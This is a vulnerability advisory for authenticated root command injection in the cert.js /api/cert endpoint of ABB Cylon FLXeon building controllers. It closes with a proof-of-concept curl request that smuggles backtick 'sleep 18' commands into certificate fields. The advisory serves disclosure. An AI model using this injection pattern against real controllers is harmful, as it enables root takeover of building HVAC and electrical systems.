ABB Cylon FLXeon 9.3.4 cert.js Authenticated Root Remote Code Execution

ABB Cylon FLXeon 9.3.4 (cert.js) Authenticated Root Remote Code Execution
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.4
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote
    root code execution via the /api/cert endpoint. An attacker with valid credentials
    can inject arbitrary system commands by manipulating the affected parameters. The
    issue arises due to improper input validation in cert.js, where user-supplied data
    is executed via ChildProcess.exec() without adequate sanitization.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5911
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5911.php
    CVE ID: CVE-2024-48841
    CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
             ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
             ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    
    $ curl -k -X PUT "https://7.3.3.1/api/cert" \
    > -H "Cookie: user_sid=xxx" \
    > -H "Content-Type: application/json" \
    > -d '{"certType":"cert","cert":{\
    > "commonName":"`sleep 18`",\
    > "country":"`sleep 18`",\
    > "state":"`sleep 18`",\
    > "city":"Dublin`sleep 18`",\
    > "organization":"Cylon Controls`sleep 18`",\
    > "organizationUnit":"`sleep 18`",\
    > "email":"[email protected]"}}'